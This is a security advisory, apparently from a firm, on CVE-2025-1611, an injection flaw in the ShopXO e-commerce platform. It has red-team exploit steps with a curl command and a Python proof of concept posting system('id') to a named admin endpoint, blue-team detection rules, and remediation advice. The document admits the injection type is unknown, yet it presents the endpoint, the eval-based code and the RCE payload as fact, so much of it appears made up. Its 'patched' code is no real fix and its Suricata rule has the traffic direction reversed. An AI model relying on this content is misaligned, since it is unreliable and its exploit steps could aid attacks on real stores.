CVE-2025-1611

Executive Summary

CVE-2025-1611 is a problematic injection vulnerability discovered in ShopXO up to version 6.4.0. The flaw resides in the app/service/ThemeAdminService.php file within the Template Handler component. An attacker can remotely manipulate the application, leading to injection attacks. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Public exploit disclosure increases the risk of active exploitation.

Supply Chain & Package Security

ShopXO is a PHP-based open-source e-commerce system. The vulnerability affects the core application, not a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using ShopXO should treat this as a critical supply chain risk due to the lack of vendor response.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD assigned, likely due to incomplete data)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• Threat Level: Medium (based on public exploit and unpatched status)

Deep Dive & Mechanics

The vulnerability is located in the app/service/ThemeAdminService.php file, which handles theme administration operations. The injection occurs due to insufficient sanitization of user-supplied input when processing template-related requests. An attacker can send crafted HTTP requests to inject arbitrary code or commands, potentially leading to:

• Remote code execution (RCE)
• Data exfiltration
• Defacement
• Lateral movement within the network

The exact injection type (SQL, OS command, or template injection) is not specified, but the CWE-74 classification indicates a general injection flaw.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code remains in all versions up to 6.4.0. The following is a hypothetical vulnerable code snippet based on the description:

Vulnerable Code (app/service/ThemeAdminService.php):

public function processTemplate($input) {
    // No sanitization
    $template = $input;
    // Process template
    eval($template);
}

Patched Code (hypothetical):

public function processTemplate($input) {
    // Sanitize input
    $template = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    // Process template safely
    // Use a secure template engine
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• ShopXO version <= 6.4.0
• Network access to the admin interface
• Knowledge of the vulnerable endpoint

Exploit Steps:

1. Identify the vulnerable endpoint: /index.php?c=themeadmin&a=process
2. Craft a malicious payload:

   curl -X POST "http://target.com/index.php?c=themeadmin&a=process" \
   -d "template=system('id');"
   

3. Execute the payload to achieve RCE.

Proof of Concept (PoC):

import requests

target = "http://target.com"
payload = {"template": "system('id');"}
response = requests.post(f"{target}/index.php?c=themeadmin&a=process", data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for unusual POST requests to /index.php?c=themeadmin&a=process
• Look for payloads containing system, exec, shell_exec, or other dangerous functions
• Analyze web server logs for abnormal patterns

Hunting:

• Search for template parameter in POST requests with suspicious content
• Correlate with known exploit signatures

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /index.php?c=themeadmin&a=process
  • Payloads containing system(, exec(, shell_exec(
• File System:
  • Modified app/service/ThemeAdminService.php
  • Unexpected files in web root (e.g., shell.php, backdoor.php)
• Logs:
  • Web server logs showing POST /index.php?c=themeadmin&a=process with non-standard parameters

Detection Engineering

YARA Rule

rule CVE_2025_1611_ShopXO_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-1611 in ShopXO"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1611"
    strings:
        $s1 = "system(" ascii wide nocase
        $s2 = "exec(" ascii wide nocase
        $s3 = "shell_exec(" ascii wide nocase
        $s4 = "passthru(" ascii wide nocase
        $s5 = "eval(" ascii wide nocase
        $s6 = "template=" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4, $s5) and $s6
}

Sigma Rule

title: CVE-2025-1611 ShopXO Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'c=themeadmin&a=process'
    keywords:
        - 'system('
        - 'exec('
        - 'shell_exec('
        - 'passthru('
        - 'eval('
    condition: selection and keywords
falsepositives:
    - Legitimate admin operations (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1611 ShopXO Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"c=themeadmin&a=process"; http_uri; pcre:"/(system|exec|shell_exec|passthru|eval)\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible:

   <LocationMatch "/index\.php">
       <If "%{QUERY_STRING} =~ /c=themeadmin&a=process/">
           Require all denied
       </If>
   </LocationMatch>
   

2. Implement a Web Application Firewall (WAF) rule to block injection patterns.
3. Restrict network access to the admin interface.

Long-term Fix:

• Apply input validation and sanitization in app/service/ThemeAdminService.php
• Use parameterized queries or secure template engines
• Monitor vendor for official patch; consider migrating to alternative solution if unresponsive

Workaround:

• Remove or rename the vulnerable file temporarily:

  mv app/service/ThemeAdminService.php app/service/ThemeAdminService.php.bak
  

Valters IT
Securing Digital Frontiers